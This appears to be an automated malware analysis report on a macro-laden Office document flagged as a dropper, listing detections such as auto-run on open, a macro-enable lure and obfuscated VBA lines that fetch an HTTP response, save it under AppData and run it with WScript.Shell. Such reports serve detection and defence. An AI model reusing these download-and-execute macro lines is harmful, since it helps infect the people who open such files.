Malicious Office (OOXML) — malware analysis report

Heuristics 10

• ClamAV: Doc.Dropper.Agent-1695161 critical CLAMAV_DETECTION
  ClamAV detected this file as malware: Doc.Dropper.Agent-1695161
• VBA project inside OOXML medium 6 related findings OOXML_VBA
  Document contains a VBA project — VBA macros present
• WScript.Shell usage critical OLE_VBA_WSCRIPT
  WScript.Shell usage
  Matched line in script

  CreateObject("WScript.Shell").Run Environ("appdata") & "\" & ³ª»¹³¾¹´»®··¡©¸ª£¶¥µ£¡¾¸¶³½»¦·©¦¨¡°º¨¨¢´°¬£¸«°£©º¿¿¾®¸´¸¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«("[WjzOkXa z]_L`lti5l l")

• VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
  VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
  Matched line in script

      .write ¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨.responseBody

• CreateObject call high OLE_VBA_CREATEOBJ
  CreateObject call
  Matched line in script

  Dim ¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨: Set ¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«²¦¡½»£¢®¢²·°«¦¦§¤º¾¬¶½¼©§¥ªµ¾º°ª©³«¨°¢¬¤»»¤²¹¦¶¦¸¬´¬¥©²¨ = CreateObject("Microsoft.XMLHTTP")

• VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
  Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
• Document_Open macro low OLE_VBA_DOCOPEN
  Document_Open macro
  Matched line in script

  Sub Document_Open()

• Environ() call (env variable access) low OLE_VBA_ENVIRON
  Environ() call (env variable access)
  Matched line in script

      .savetofile Environ("appdata") & "\" & ³ª»¹³¾¹´»®··¡©¸ª£¶¥µ£¡¾¸¶³½»¦·©¦¨¡°º¨¨¢´°¬£¸«°£©º¿¿¾®¸´¸¥´³¼¾¯»¥µ¡©º¼§º½ª¤¹¯¹²®¡¡¿µ¿·¹¦¹¿¼¨©´®°¤¦°»«("[WjzOkXa z]_L`lti5l l"), 2

• Macro/content-enable lure medium SE_ENABLE_LURE
  Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
• Embedded URL info EMBEDDED_URL
  One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
  URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro

  • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
  • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
  • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
  • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
  • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
  • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
  • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
  • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
  • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
  • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
  • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

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